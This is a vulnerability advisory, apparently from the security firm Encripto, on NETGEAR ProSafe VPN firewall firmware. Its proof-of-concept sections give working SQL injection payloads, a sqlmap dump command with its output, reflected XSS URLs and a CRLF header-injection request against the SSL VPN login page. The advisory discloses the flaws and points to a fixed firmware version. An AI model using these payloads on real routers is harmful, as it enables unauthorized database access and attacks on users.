Background
==========
According to the vendor, NETGEAR® ProSafe® business-class VPN Firewalls are high performing routers that provide full secure network access between headquarter locations, remote/branch offices and remote workers.
Summary
=======
Multiple NETGEAR® ProSafe® routers, running firmware version 4.3.2-7 and 4.3.3-3, are affected by SQL and HTTP header injection, and multiple Reflected Cross-Site Scripting vulnerabilities.
Affected Products
=================
The following table gathers the list of vulnerable products with their respective firmware versions.
NETGEAR® ProSafe® SRX5308 v4.3.2-7 and v4.3.3-3
NETGEAR® ProSafe® FVS336Gv3 v4.3.2-7 and v4.3.3-3
NETGEAR® ProSafe® FVS336Gv2 v4.3.2-7 and v4.3.3-3
NETGEAR® ProSafe® FVS318N v4.3.2-7 and v4.3.3-3
Previous versions of the firmware could also be affected, but this has not been verified.
Vulnerabilities and Proof of Concept (PoC)
==========================================
The following PoCs will assume that the vulnerable device is using a standard configuration, and it can be found at https://192.168.1.1
- SQL injection vulnerability
---------------------------
The parameter “portal” of the SSL VPN web application is affected by SQL injection. This could allow an attacker to interact with the Sqlite database supporting the device.
Sending the following payloads as portal values resulted in different responses:
SSL-VPN47034719'%20or%20'5358'%3d'5358
SSL-VPN47034719'%20or%20'5358'%3d'5359
The vulnerability could be exploited with automated tools, such as SQLmap.
The following GET request may be used as a base.
GET /scgi-bin/platform.cgi?page=portalLogin.htm&portal=SSL-VPN HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Command example:
python sqlmap.py -r sqli.txt -p portal --threads 5 --dump --force-ssl --dbms=sqlite
[…OUTPUT SUPPRESSED…]
[13:51:01] [INFO] GET parameter 'portal' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="NETGEAR ProSafe™ - SSL-VPN")
[…OUTPUT SUPPRESSED…]
GET parameter 'portal' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 39 HTTP(s) requests:
---
Parameter: portal (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: page=portalLogin.htm&portal=SSL-VPN' AND 7037=7037 AND 'iBib'='iBib
---
[13:51:12] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
As an example, the database structure and its contents could be retrieved.
Database: SQLite_masterdb
[238 tables]
+-------------------------------------+
| AlgConf |
| AttackChecks |
| AttackChecks6 |
| AvailableLanHost |
| BandWidthProfile |
| BandWidthProfileSpeed |
| BandWidthProfileStatus |
| BlockSites |
| BwMonStat |
[…OUTPUT SUPPRESSED…]
In addition to the “portal” parameter, the “USERDBDomains.Domainname” and “USERDBUsers.UserName” of the “/scgi-bin/platform.cgi” page presented a similar behavior.
- Multiple Reflected Cross-Site Scripting (XSS) vulnerabilities
-------------------------------------------------------------
The “portal”, “Login.PortalName” and “stuMsg” parameters of the SSL VPN web application are affected by Reflected XSS.
The “Login.PortalName” is originally a POST parameter that can be provided via GET as well.
The following links should document the case. A simple JavaScript payload has been used in these examples:
https://192.168.1.1/scgi-bin/platform.cgi?page=portalLogin.htm&portal=SSL-VPN"><script>alert("XSS")</script>
https://192.168.1.1/scgi-bin/platform.cgi?thispage=portalLogin.htm&Login.PortalName=SSL-VPN"><script>alert("XSS")<%2fscript>&USERDBUsers.UserName=test&USERDBUsers.Password=test&USERDBDomains.Domainname=geardomain&button.login.router_status=Login&Login.userAgent=Mozilla%2F5.0+%28X11%3B+Linux+x86_64%3B+rv%3A31.0%29+Gecko%2F20100101+Firefox%2F31.0+Iceweasel%2F31.5.0
https://192.168.1.1/scgi-bin/platform.cgi?page=portalLogin.htm&portal=SSL-VPN&stuMsg=Usereb<script>alert("XSS")<%2fscript>
- HTTP header injection vulnerability
-----------------------------------
The “Login.PortalName” of the SSL VPN web application is affected by HTTP header injection.
This could be leveraged by an attacker in order to split HTTP responses or inject new headers.
The following request demonstrates the issue when submitting the payload in a GET request. The same results could be achieved with a POST request.
GET /scgi-bin/platform.cgi?thispage=portalLogin.htm&Login.PortalName=c9b54%0d%New-header:+8897%0d%0a&USERDBUsers.UserName=test&USERDBUsers.Password=test&USERDBDomains.Domainname=geardomain&button.login.router_status=Login&Login.userAgent=Mozilla%2F5.0+%28X11%3B+Linux+x86_64%3B+rv%3A31.0%29+Gecko%2F20100101+Firefox%2F31.0+Iceweasel%2F31.5.0 HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.5.0

Remediation
===========
The vendor has released firmware version 4.3.3-5, which fixes the issues.
Encripto encourages product owners to upgrade to this version as soon as possible.
